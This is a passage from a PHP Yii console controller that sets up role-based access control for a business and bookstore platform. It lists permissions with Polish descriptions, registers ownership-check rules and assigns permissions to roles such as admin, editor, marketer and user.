            ['deleteCompaniesCases', 'Uprawnienia do usuwania spraw.'],
            
            ['indexCompaniesChanges', 'Uprawnienia do przeglądania listy zmian firm.'],
            ['modifyCompaniesChanges', 'Uprawnienia do modyfikowania zmian firm.'],
            ['deleteCompaniesChanges', 'Uprawnienia do usuwania zmian firm.'],
            
            ['viewServices', 'Uprawnienia do przeglądania usług.'],
            ['modifyStandaloneServices', 'Uprawnienia dla modifikowania usług samodzielnych.'],
            ['modifyServicesDescriptions', 'Uprawnienia dla modifikowania opisów usług.'],
            
            ['modifyGlobalSettings', 'Uprawnienia do modyfikowania ustawień globalnych.'],
            
            ['indexInvoices', 'Uprawnienia do przeglądania listy faktur firm.'],
            ['indexRelatedInvoices', 'Uprawnienia do przeglądania listy faktur powiązanych firm.'],
            ['viewInvoices', 'Uprawnienia do podglądu szczegółów faktur firm.'],
            ['viewRelatedInvoices', 'Uprawnienia do podglądu szczegółów faktur powiązanych firm.'],
            ['createInvoices', 'Uprawnienia do tworzenia faktur firm.'],
            ['createRelatedInvoices', 'Uprawnienia do tworzenia faktur powiązanych firm.'],
            ['updateInvoices', 'Uprawnienia do edycji faktur firm.'],
            ['updateRelatedInvoices', 'Uprawnienia do edycji faktur powiązanych firm.'],
            ['deleteInvoices', 'Uprawnienia do usuwania faktur firm.'],
            ['getInvoices', 'Uprawnienia do pobierania faktur firm.'],
            ['getRelatedInvoices', 'Uprawnienia do pobierania faktur powiązanych firm.'],
            ['sendInvoices', 'Uprawnienia do wysyłania faktur firm.'],
            ['modifyInvoicesFull', 'Uprawnienia do pełnego modifikowania faktur firm.'],
            
            ['indexInvoicesCorrections', 'Uprawnienia do przeglądania listy faktur korygujących.'],
            ['viewInvoicesCorrections', 'Uprawnienia do podglądu szczegółów faktur korygujących.'],
            ['createInvoicesCorrections', 'Uprawnienia do tworzenia faktur korygujących.'],
            ['updateInvoicesCorrections', 'Uprawnienia do edycji faktur korygujących.'],
            ['deleteInvoicesCorrections', 'Uprawnienia do usuwania faktur korygujących.'],
            
            ['indexInvoicesCorrectiveNotes', 'Uprawnienia do przeglądania listy not korygujących dla faktur.'],
            ['viewInvoicesCorrectiveNotes', 'Uprawnienia do podglądu szczegółów noty korygującej dla faktury.'],
            ['createInvoicesCorrectiveNotes', 'Uprawnienia do tworzenia not korygujących dla faktur.'],
            ['updateInvoicesCorrectiveNotes', 'Uprawnienia do edycji not korygujących dla faktur.'],
            ['deleteInvoicesCorrectiveNotes', 'Uprawnienia do usuwania not korygujących dla faktur.'],            
            
            ['browseUpcomingContacts', 'Uprawnienia do przeglądania zbliżających się kontaktów z firmami.'],
            
            ['indexPrivateInvoices', 'Uprawnienia do przeglądania listy prywatnych faktur.'],
            ['viewPrivateInvoices', 'Uprawnienia do podglądu szczegółów prywatnych faktur.'],
            ['getPrivateInvoices', 'Uprawnienia do pobierania prywatnych faktur.'],
            ['createPrivateInvoices', 'Uprawnienia do tworzenia prywatnych faktur.'],
            ['updatePrivateInvoices', 'Uprawnienia do edycji prywatnych faktur.'],
            ['deletePrivateInvoices', 'Uprawnienia do usuwania prywatnych faktur.'],
            ['indexContractors', 'Uprawnienia do przeglądania listy kontrahentów.'],
            ['viewContractors', 'Uprawnienia do podglądu szczegółów kontrahentów.'],
            ['createContractors', 'Uprawnienia do tworzenia kontrahentów.'],
            ['updateContractors', 'Uprawnienia do edycji kontrahentów.'],
            ['deleteContractors', 'Uprawnienia do usuwania kontrahentów.'],
            
            ['indexInvoicesReceipts', 'Uprawnienia do przeglądania listy wpływów z faktur.'],
            ['indexInvoicesSummary', 'Uprawnienia do przeglądania podsumowań z faktur.'],
            ['exportInvoices', 'Uprawnienia do eksportu faktur.'],
            ['sendInvoicesToKsef', 'Uprawnienia do wysyłki faktur do KSeF.'],
            ['checkInvoicesStatusInKsef', 'Uprawnienia do sprawdzania statusu faktur wysłanych do KSeF'],
            ['getInvoicesUPOFromKsef', 'Uprawnienia do pobierania z KSeF UPO dla wysłanych faktur.'],            
            ['getInvoicesUPO', 'Uprawnienia do pobierania UPO dla faktur.'],
            
            ['indexUsersChanges', 'Uprawnienia do przeglądania listy zmian dokonanych samodzielnie przez użytkowników.'],
            ['modifyUsersChanges', 'Uprawnienia do modyfikowania zmian dokonanych samodzielnie przez użytkowników.'],
            
            ['clearCache', 'Uprawnienia do czyszczenia cache na froncie.'],
            ['modifyConsoleScriptsSettings', 'Uprawnienia do modyfikowania ustawień skryptów konsolowych (CRON).'],
            ['indexCurrencyRates', 'Uprawnienia do przeglądania listy kursów walut.'],
            ['indexGoogleIndexingUrls', 'Uprawnienia do przeglądania listy adresów url zgłoszonych do Google Search.'],
            ['viewGoogleIndexingUrls', 'Uprawnienia do podglądu szczegółów adresów url zgłoszonych do Google Search.'],
            ['createGoogleIndexingUrls', 'Uprawnienia do tworzenia adresów url zgłaszanych do Google Search.'],
            ['updateGoogleIndexingUrls', 'Uprawnienia do edycji adresów url zgłaszanych do Google Search.'],
            ['deleteGoogleIndexingUrls', 'Uprawnienia do usuwania adresów url zgłaszanych do Google Search.'],
            ['reportGoogleIndexingUrls', 'Uprawnienia do zgłaszania adresów url do Google Search.'],
            ['checkStatusGoogleIndexingUrls', 'Uprawnienia do sprawdzania statusu adresów url wysłanych do Google Search.'],
            
            ['indexGoogleInspectUrls', 'Uprawnienia do przeglądania listy adresów url zgłoszonych do sprawdzenia w Google Search Console API.'],
            ['viewGoogleInspectUrls', 'Uprawnienia do podglądu szczegółów adresów url zgłoszonych do Google Search Console API.'],
            ['deleteGoogleInspectUrls', 'Uprawnienia do usuwania adresów url zgłaszanych do Google Search Console API.'],
            ['checkStatusGoogleInspectUrls', 'Uprawnienia do sprawdzania statusu adresów url wysłanych do Google Search Console API.'],
            
            ['updatePresentationsPackagesDescriptions', 'Uprawnienia do edycji opisów pakietów prezentacji.'],
            
            ['sendCumulativeInfoAboutCompaniesPayments', 'Uprawnienia do wysyłania zbiorczych informacji o dokonanych przez firmy płatnościach.'],
            
            ['indexUsersPayments', 'Uprawnienia do przeglądania listy płatności elektronicznych użytkowników.'],
            ['indexOwnUsersPayments', 'Uprawnienia do przeglądania listy własnych płatności elektronicznych użytkowników.'],
            ['viewUsersPayments', 'Uprawnienia do podglądu szczegółów płatności elektronicznych użytkowników.'],
            ['viewOwnUsersPayments', 'Uprawnienia do podglądu szczegółów własnych płatności elektronicznych użytkowników.', 'checkUserOwner', 'viewUsersPayments'],
            ['indexUsersPaymentsSummary', 'Uprawnienia do przeglądania zestawień płatności elektronicznych użytkowników.'],
            
            ['indexCompaniesDocuments', 'Uprawnienia do przeglądania listy dokumentów firm.'],
            ['indexRelatedCompaniesDocuments', 'Uprawnienia do przeglądania listy dokumentów powiązanych firm.'],
            ['viewCompaniesDocuments', 'Uprawnienia do podglądu szczegółów dokumentów firm.'],
            ['viewRelatedCompaniesDocuments', 'Uprawnienia do podglądu szczegółów dokumentów powiązanych firm.'],
            ['modifyCompaniesDocuments', 'Uprawnienia do modyfikowania dokumentów firm.'],
            ['modifyRelatedCompaniesDocuments', 'Uprawnienia do modyfikowania dokumentów powiązanych firm.'],
            ['deleteCompaniesDocuments', 'Uprawnienia do usuwania dokumentów firm.'],
            
            ['getCompaniesDocumentsFiles', 'Uprawnienia do pobierania plików dokumentów firm.'],
            ['getRelatedCompaniesDocumentsFiles', 'Uprawnienia do pobierania plików dokumentów powiązanych firm.'],            
            ['deleteCompaniesDocumentsFiles', 'Uprawnienia do usuwania plików dokumentów firm.'],
            
            ['deleteCompaniesDocumentsUncompletedTasks', 'Uprawnienia do usuwania nieukończonych zadań dokumentów firm.'],
            
            ['indexWebsites', 'Uprawnienia do przeglądania listy stron internetowych.'],
            ['indexOwnWebsites', 'Uprawnienia do przeglądania listy stron internetowych.'],
            ['viewWebsites', 'Uprawnienia do podglądu szczegółów stron internetowych.'],
            ['viewOwnWebsites', 'Uprawnienia do podglądu szczegółów własnych stron internetowych.', 'checkWebsiteOwner', 'viewWebsites'],
            ['createWebsites', 'Uprawnienia do tworzenia stron internetowych.'],
            ['updateWebsites', 'Uprawnienia do edycji stron internetowych.'],
            ['updateOwnWebsites', 'Uprawnienia do edycji własnych stron internetowych.', 'checkWebsiteOwner', 'updateWebsites'],
            ['deleteWebsites', 'Uprawnienia do usuwania stron internetowych.'],
            ['deleteOwnWebsites', 'Uprawnienia do usuwania własnych stron internetowych.', 'checkWebsiteOwner', 'deleteWebsites'],
            
            ['indexWebsitesTemplates', 'Uprawnienia do przeglądania listy szablonów stron internetowych.'],
            ['viewWebsitesTemplates', 'Uprawnienia do podglądu szczegółów szablonów stron internetowych.'],
            ['createWebsitesTemplates', 'Uprawnienia do tworzenia szablonów stron internetowych.'],
            ['updateWebsitesTemplates', 'Uprawnienia do edycji szablonów stron internetowych.'],
            ['deleteWebsitesTemplates', 'Uprawnienia do usuwania szablonów stron internetowych.'],
            
            ['viewCompaniesStatistics', 'Uprawnienia do podglądu statystyk firm.'],
            ['viewAssignedCompaniesStatistics', 'Uprawnienia do podglądu statystyk własnych firm.', 'checkCompanyOwner', 'viewCompaniesStatistics'], 
            ['deleteCompaniesStatistics', 'Uprawnienia do usuwania archiwalnych statystyk firm.'],
            
            ['indexBookstoreOrders', 'Uprawnienia do przeglądania listy zamówień w księgarni.'],
            ['indexOwnBookstoreOrders', 'Uprawnienia do przeglądania listy własnych zamówień w księgarni.'],
            ['indexAssignedBookstoreOrders', 'Uprawnienia do przeglądania listy przypisanych zamówień w księgarni.'],
            ['viewBookstoreOrders', 'Uprawnienia do podglądu szczegółów zamówień w księgarni.'],
            ['viewOwnBookstoreOrders', 'Uprawnienia do podglądu szczegółów własnych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'viewBookstoreOrders'],
            ['viewAssignedBookstoreOrders', 'Uprawnienia do podglądu szczegółów przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'viewBookstoreOrders'],
            ['createBookstoreOrders', 'Uprawnienia do tworzenia zamówień w księgarni.'],
            ['updateBookstoreOrders', 'Uprawnienia do edycji zamówień w księgarni.'],
            ['updateAssignedBookstoreOrders', 'Uprawnienia do edycji przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'updateBookstoreOrders'],
            ['deleteBookstoreOrders', 'Uprawnienia do usuwania zamówień w księgarni.'],
            ['deleteAssignedBookstoreOrders', 'Uprawnienia do usuwania przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'deleteBookstoreOrders'],
            ['selectDeliveryMethodForBookstoreOrders', 'Uprawnienia do wyboru formy dostawy dla zamówień w księgarni.'],
            ['selectDeliveryMethodForOwnBookstoreOrders', 'Uprawnienia do wyboru formy dostawy dla własnych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'selectDeliveryMethodForBookstoreOrders'],
            ['selectDeliveryMethodForAssignedBookstoreOrders', 'Uprawnienia do wyboru formy dostawy dla przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'selectDeliveryMethodForBookstoreOrders'],
            ['setShipmentNumbersForBookstoreOrders', 'Uprawnienia do ustawiania numerów przesyłek dla zamówień w księgarni.'],
            ['setShipmentNumbersForOwnBookstoreOrders', 'Uprawnienia do ustawiania numerów przesyłek dla własnych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'setShipmentNumbersForBookstoreOrders'],
            ['setShipmentNumbersForAssignedBookstoreOrders', 'Uprawnienia do ustawiania numerów przesyłek dla przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'setShipmentNumbersForBookstoreOrders'],
            ['changeStatusForAssignedBookstoreOrders', 'Uprawnienia do zmiany statusu przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule'],
            ['updateAnnotationsForAssignedBookstoreOrders', 'Uprawnienia do edycji uwag przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule'],
            ['cancelOwnBookstoreOrders', 'Uprawnienia do anulowania przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule'],
            ['indexBookstoreOrdersPayments', 'Uprawnienia do przeglądania listy płatności od kupujących dla zamówień w księgarni.'],
            ['indexAssignedBookstoreOrdersPayments', 'Uprawnienia do przeglądania listy płatności od kupujących dla przypisanych zamówień w księgarni.', 'checkCompanyOwner', 'indexBookstoreOrdersPayments'],
            
            ['indexBookstoreOrdersReturns', 'Uprawnienia do przeglądania listy zwrotów zamówień w księgarni.'],
            ['indexAssignedBookstoreOrdersReturns', 'Uprawnienia do przeglądania listy zwrotów przypisanych zamówień w księgarni.'],
            ['viewBookstoreOrdersReturns', 'Uprawnienia do podglądu szczegółów zwrotów zamówień w księgarni.'],
            ['viewAssignedBookstoreOrdersReturns', 'Uprawnienia do podglądu szczegółów zwrotów przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'viewBookstoreOrdersReturns'],
            ['createBookstoreOrdersReturns', 'Uprawnienia do tworzenia zwrotów zamówień w księgarni.'],
            ['createOwnBookstoreOrdersReturns', 'Uprawnienia do tworzenia zwrotów własnych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'createBookstoreOrdersReturns'], 
            ['createAssignedBookstoreOrdersReturns', 'Uprawnienia do tworzenia zwrotów przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'createBookstoreOrdersReturns'], 
            ['updateBookstoreOrdersReturns', 'Uprawnienia do edycji zwrotów zamówień w księgarni.'],
            ['updateAssignedBookstoreOrdersReturns', 'Uprawnienia do edycji zwrotów przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'updateBookstoreOrdersReturns'], 
            ['deleteBookstoreOrdersReturns', 'Uprawnienia do usuwania zwrotów zamówień w księgarni.'],
            ['deleteAssignedBookstoreOrdersReturns', 'Uprawnienia do usuwania zwrotów przypisanych zamówień w księgarni.', 'checkBookstoreOrderOwnerRule', 'deleteBookstoreOrdersReturns'],
            
            ['indexExternalWebsitesChangesMonitoring', 'Uprawnienia do przeglądania listy monitoringów zmian zewnętrznych stron internetowych.'],
            ['viewExternalWebsitesChangesMonitoring', 'Uprawnienia do podglądu szczegółów monitoringów zmian zewnętrznych stron internetowych.'],
            ['createExternalWebsitesChangesMonitoring', 'Uprawnienia do tworzenia monitoringów zmian zewnętrznych stron internetowych.'],
            ['updateExternalWebsitesChangesMonitoring', 'Uprawnienia do edycji monitoringów zmian zewnętrznych stron internetowych.'],            
            ['deleteExternalWebsitesChangesMonitoring', 'Uprawnienia do usuwania monitoringów zmian zewnętrznych stron internetowych.'],
            
            ['indexOpenAICommandsTemplates', 'Uprawnienia do przeglądania listy szablonów zapytań do OpenAI.'],                    
            ['viewOpenAICommandsTemplates', 'Uprawnienia do podglądu szczegółów szablonów zapytań do OpenAI.'],
            ['modifyOpenAICommandsTemplates', 'Uprawnienia do modyfikowania szablonów zapytań do OpenAI.'],
            ['deleteOpenAICommandsTemplates', 'Uprawnienia do usuwania szablonów zapytań do OpenAI.'], 
        ];
        
        foreach($permissions as $permission) {
            $newPermission = $auth->createPermission($permission[0]);
            $newPermission->description = $permission[1];
            if(!empty($permission[2])) {
                $newPermission->ruleName = $auth->getRule($permission[2])->name;
            }            
            $auth->add($newPermission);
            if(!empty($permission[3])) {
                $parentPermission = $auth->getPermission($permission[3]);
                $auth->addChild($newPermission, $parentPermission);
            }
        }
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    /**
     * Creates a set of rules for permissions
     * 
     * @return int exit code
     */
    public function actionCreateRules()
    {
        $auth = Yii::$app->authManager;
        
        $auth->removeAllRules();     
        
        $ruleCheckUserOwner = new \backend\components\rbac\CheckUserOwnerRule();
        $auth->add($ruleCheckUserOwner);
        
        $ruleCheckCompanyOwner = new \backend\components\rbac\CheckCompanyOwnerRule();
        $auth->add($ruleCheckCompanyOwner);
        
        $ruleCheckArticleOwner = new \backend\components\rbac\CheckArticleOwnerRule();
        $auth->add($ruleCheckArticleOwner);
        
        $ruleCheckTrainingOwner = new \backend\components\rbac\CheckTrainingOwnerRule();
        $auth->add($ruleCheckTrainingOwner);
        
        $ruleCheckAdvertisementOwner = new \backend\components\rbac\CheckAdvertisementOwnerRule();
        $auth->add($ruleCheckAdvertisementOwner);

        $ruleCheckAdvertisementMessageOwner = new \backend\components\rbac\CheckAdvertisementMessageOwnerRule();
        $auth->add($ruleCheckAdvertisementMessageOwner);
        
        $ruleCheckJobOfferOwner = new \backend\components\rbac\CheckJobOfferOwnerRule();
        $auth->add($ruleCheckJobOfferOwner);
        
        $ruleCheckMailingReservationOwner = new \backend\components\rbac\CheckMailingReservationOwnerRule();
        $auth->add($ruleCheckMailingReservationOwner);
        
        $ruleCheckBannerReservationOwner = new \backend\components\rbac\CheckBannerReservationOwnerRule();
        $auth->add($ruleCheckBannerReservationOwner);
        
//        $ruleCheckFairsSeriesOwner = new \backend\components\rbac\CheckFairsSeriesOwnerRule();
//        $auth->add($ruleCheckFairsSeriesOwner);
        
        $ruleCheckInquiryOwner = new \backend\components\rbac\CheckInquiryOwnerRule();
        $auth->add($ruleCheckInquiryOwner);
        
        $ruleCheckCompanyOrderItemOwner = new \backend\components\rbac\CheckCompanyOrderItemOwnerRule();
        $auth->add($ruleCheckCompanyOrderItemOwner);
        
        $ruleCheckCompanyOrderOwner = new \backend\components\rbac\CheckCompanyOrderOwnerRule();
        $auth->add($ruleCheckCompanyOrderOwner);
        
        $ruleCheckCompanyPatron = new \backend\components\rbac\CheckCompanyPatronRule();
        $auth->add($ruleCheckCompanyPatron);
        
        $ruleCheckCompanyOrderItemAssign = new \backend\components\rbac\CheckCompanyOrderItemAssignRule();
        $auth->add($ruleCheckCompanyOrderItemAssign);
        
        $ruleCheckWebsiteOwner = new \backend\components\rbac\CheckWebsiteOwnerRule();
        $auth->add($ruleCheckWebsiteOwner);
        
        $ruleCheckBookstoreOrderOwner = new \backend\components\rbac\CheckBookstoreOrderOwnerRule();
        $auth->add($ruleCheckBookstoreOrderOwner);
        
        $ruleCheckUsersShippingDataOwner = new \backend\components\rbac\CheckUsersShippingDataOwnerRule();
        $auth->add($ruleCheckUsersShippingDataOwner);
        
        $ruleCheckUsersDataToAccountOwner = new \backend\components\rbac\CheckUsersDataToAccountOwnerRule();
        $auth->add($ruleCheckUsersDataToAccountOwner);
        
        $ruleCheckOfferOwner = new \backend\components\rbac\CheckOfferOwnerRule();
        $auth->add($ruleCheckOfferOwner);
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    /**
     * Associate permissions with roles
     * 
     * @return int exit code
     */
    public function actionAssociatePermissionsWithRoles()
    {
        $auth = Yii::$app->authManager;
                
        $admin = $auth->getRole(UserProfile::ADMIN);
        $moderator = $auth->getRole(UserProfile::MODERATOR);
        $editor = $auth->getRole(UserProfile::EDITOR);
        $operator = $auth->getRole(UserProfile::OPERATOR);
        $marketer = $auth->getRole(UserProfile::MARKETER);
        $company = $auth->getRole(UserProfile::COMPANY);
        $user = $auth->getRole(UserProfile::USER);
        $webDeveloper = $auth->getRole(UserProfile::WEB_DEVELOPER);
        
        $this->roles = [
            UserProfile::ADMIN => $admin,
            UserProfile::MODERATOR => $moderator,
            UserProfile::EDITOR => $editor,
            UserProfile::OPERATOR => $operator,
            UserProfile::MARKETER => $marketer,
            UserProfile::COMPANY => $company,
            UserProfile::USER => $user,
            UserProfile::WEB_DEVELOPER => $webDeveloper
        ];
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewCompanyData');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnCompanyData');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexAllBooks');
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexAllProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteManyProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'enableManyProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'disableManyProducts');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'convertContentImagesToWebpForProducts');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'markingProductsAsVerified');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexTasksGeneratingProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewTasksGeneratingProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyTasksGeneratingProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteTasksGeneratingProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'setAsUsedTasksGeneratingProducts');        
        
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexPublishingHouses');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewPublishingHouses');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createPublishingHouses');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updatePublishingHouses');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deletePublishingHouses');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBookstoreCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'modifyBookstoreCategories');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBooksReviews');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewBooksReviews');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateBooksReviews');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteBooksReviews');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'acceptBooksReviews');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBookstoreDiscountCodes');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewBookstoreDiscountCodes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createBookstoreDiscountCodes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteBookstoreDiscountCodes');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexArticles');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewArticles');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnArticles');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnArticles');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyArticles');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyArticlesStatuses');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteArticles');
        $this->addPermissionToRole(UserProfile::ADMIN, 'assignArticlesToPortals');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'translateArticles');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexArticlesWaitingForTranslation');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'applyArticlesForTranslation');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'browsePortalsArticlesGroups');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyPortalsArticlesGroups');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewArticlesSEOPortalsSettings');        
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexTasksGeneratingArticles');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewTasksGeneratingArticles');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyTasksGeneratingArticles');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteTasksGeneratingArticles');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexPartners');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewPartners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createPartners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updatePartners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deletePartners');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewMailingsReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createOwnMailingsReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'acceptMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'acceptOwnMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'remindMailingsReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateOwnMailingsReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteMailingsReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'deleteOwnMailingsReservations');
//        $this->addPermissionToRole(UserProfile::EDITOR, 'finalizeMailingsReservations');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBanners');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewBanners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createBanners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateBanners');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteBanners');
        $this->addPermissionToRole(UserProfile::EDITOR, 'copyBanners');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'sendNotificationAboutBannersPublish');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewBannersStatistics');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteBannersStatisticsReports');
        
//        $this->addPermissionToRole(UserProfile::ADMIN, 'indexBannersReservations');
//        $this->addPermissionToRole(UserProfile::ADMIN, 'viewBannersReservations');
//        $this->addPermissionToRole(UserProfile::ADMIN, 'createBannersReservations');
//        $this->addPermissionToRole(UserProfile::ADMIN, 'updateBannersReservations');
//        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteBannersReservations');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBannersReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewBannersReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createBannersReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createOwnBannersReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateBannersReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateOwnBannersReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteBannersReservations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'deleteOwnBannersReservations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexOwnBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createOwnBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewOwnBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::EDITOR, 'acceptBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'acceptOwnBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'deleteOwnBannersReservationsVersions');
        $this->addPermissionToRole(UserProfile::ADMIN, 'sendBannersReservationsVersions'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'requestPublicationBannersReservationsVersions'); 
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexTenders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewTenders');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteTenders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createInquiriesFromTenders');        
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexInquiries');
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnInquiries');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewInquiries');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnInquiries');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateInquiries');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateInquiriesFromTenders');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteInquiries');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'acceptInquiries');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'stopInquiries');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createInquiries');
        
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexAdvertisementsParams');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewAdvertisementsParams');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createAdvertisementsParams');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateAdvertisementsParams');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteAdvertisementsParams');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'createOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'updateOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'deleteOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyAdvertisementsStatuses');
        $this->addPermissionToRole(UserProfile::EDITOR, 'refreshAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'refreshOwnAdvertisements');
        $this->addPermissionToRole(UserProfile::EDITOR, 'closeAdvertisements');
        $this->addPermissionToRole(UserProfile::USER, 'closeOwnAdvertisements');
        
